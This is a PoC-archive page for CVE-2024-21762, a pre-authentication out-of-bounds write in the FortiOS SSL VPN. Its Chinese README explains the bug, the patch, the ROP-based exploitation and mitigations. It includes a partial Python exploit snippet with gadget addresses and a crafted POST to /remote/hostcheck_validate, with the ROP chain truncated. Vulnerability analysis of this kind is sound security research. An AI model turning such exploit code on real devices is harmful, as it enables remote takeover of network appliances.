Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-21762 PoC — Fortinet FortiOS 缓冲区错误漏洞

Source
Associated Vulnerability
Title:Fortinet FortiOS 缓冲区错误漏洞 (CVE-2024-21762)
Description:A out-of-bounds write in Fortinet FortiOS versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13, 6.4.0 through 6.4.14, 6.2.0 through 6.2.15, 6.0.0 through 6.0.17, FortiProxy versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.8, 7.0.0 through 7.0.14, 2.0.0 through 2.0.13, 1.2.0 through 1.2.13, 1.1.0 through 1.1.6, 1.0.0 through 1.0.7 allows attacker to execute unauthorized code or commands via specifically crafted requests
Description
CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞,存在于其 SSL VPN 组件中。
Readme
# cve-2024-21762-poc

CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞,存在于其 SSL VPN 组件中。该漏洞允许未经身份验证的远程攻击者通过特制的 HTTP 请求在目标系统上执行任意代码或命令,可能导致系统被完全控制。 

**危害:**
由于该漏洞的存在,攻击者可以在不需要任何身份验证的情况下,远程执行任意代码,进而完全控制受影响的设备。这可能导致敏感数据泄露、服务中断,甚至进一步的网络攻击。 

**攻击方法:**
攻击者利用该漏洞的主要手段是发送特制的 HTTP 请求,触发 SSL VPN 组件中的越界写入漏洞。具体而言,攻击者可以通过精心构造的请求,操控内存中的数据,最终实现远程代码执行。 

**防护措施:**
为防止受到该漏洞的攻击,建议立即将 FortiOS 和 FortiProxy 升级至官方提供的最新安全版本。此外,禁用 SSL VPN 功能也是一种临时的防护措施。  

-----

### CVE-2024-21762漏洞详解:Fortinet FortiOS中的越界写漏洞

#### 漏洞背景

**CVE-2024-21762** 是 Fortinet FortiOS SSL VPN 中的一种高危漏洞,属于未经授权的越界写漏洞。漏洞可能被用于远程代码执行 (RCE),对企业网络安全构成威胁。

FortiGate 于 2024 年 2 月发布了更新,修复了多个中高危漏洞。其中,本文重点分析 CVE-2024-21762 的利用过程,包括如何利用该漏洞实现远程代码执行。

---

#### 漏洞利用示例代码(PoC)

以下 PoC 代码由 [assetnote](https://www.assetnote.io/resources/research/two-bytes-is-plenty-fortigate-rce-with-cve-2024-21762) 提供,展示了利用此漏洞的基本步骤。

```python
# 简化的漏洞利用代码片段
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"  # SSL握手指针
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"  # getcwd函数指针

pivot_1 = b"%52%f7%fd%00%00%00%00%00"  # pivot指令集1
pivot_2 = b"%ac%c9%ab%02%00%00%00%00"  # pivot指令集2

rop = b""  # ROP链
rop += b"%c6%e2%46%00%00%00%00%00"
rop += b"%19%6f%4d%01%00%00%00%00"
# ... 其余ROP链内容省略

# 伪造请求数据
body = (b"B"*1808 + b"=" + b"B"*1024 + b"&") * 20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n" + body

# 发送伪造请求
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
```

---

#### 修复后的代码分析

通过对 FortiOS 7.4.2 和 7.4.3 的二进制文件进行对比,修复的代码位于函数 `sub_18F4980` 中。修复主要集中在以下两点:

1. 在解析 `chunk` 格式时,添加了对 `chunk` 长度的校验。如果解码后的长度超过 16,视为非法。
2. 修复了 `chunk trailer` 的写入逻辑,防止越界写入 `\r\n`。

---

#### 漏洞利用原理

1. **触发越界写入**:
   - 当解析 `chunk` 时,若长度字段解码后为 0,则触发读取 `chunk trailer`。
   - 写入 `chunk trailer` 时,根据长度字段向栈中写入 `\r\n`。
   - 若长度字段为大量 `0`,将触发越界写入 `\r\n` 到返回地址附近。

2. **栈溢出与劫持**:
   - 通过精心构造的 `chunk` 数据,可以覆盖栈中的返回地址,达到劫持程序控制流的目的。
   - 利用 ROP 技术,结合 FortiOS 的内存布局,实现远程代码执行。

---

#### 漏洞利用难点

虽然可以通过 ROP 链进行劫持,但 FortiGate 主程序中 `/bin/sh` 不具备直接执行命令的能力,因此需要寻找其他可利用的函数。例如,通过伪造结构体指针,利用 `SSL_do_handshake` 进行进一步的攻击。

---

#### 漏洞利用演示

即使在默认配置下(关闭 Web 模式),该漏洞仍然可以被利用。

![漏洞利用演示](https://github.com/h4x0r-dz/CVE-2024-21762/assets/26070859/0e8188fa-de85-4579-b932-924c0e54b334)

---

#### 结论

CVE-2024-21762 是一个具有较高复杂度的漏洞,其利用过程需要对 FortiOS 的代码逻辑和内存布局有深入理解。与传统的 CTF 题目相比,真实漏洞的利用需要更复杂的上下文和结构分析。

---

#### 原文链接

作者提供了更详细的中文分析文章,可参考:[原文地址](https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247484811&idx=1&sn=2e0407a32ba0c2925d6d857f4cdf7cbb&chksm=c3571307f4209a110d6b28cea9fe59ac0f0a2079c998a682e919860f397ea647fa0794933906&mpshare=1&scene=1&srcid=0313EaETjGzEAvOdByUt6ovU#rd)
File Snapshot

[4.0K] /data/pocs/ae716fc1112487bcedc5f27de52a3b2d64375d67 ├── [ 11K] LICENSE ├── [3.6K] poc.py └── [4.5K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →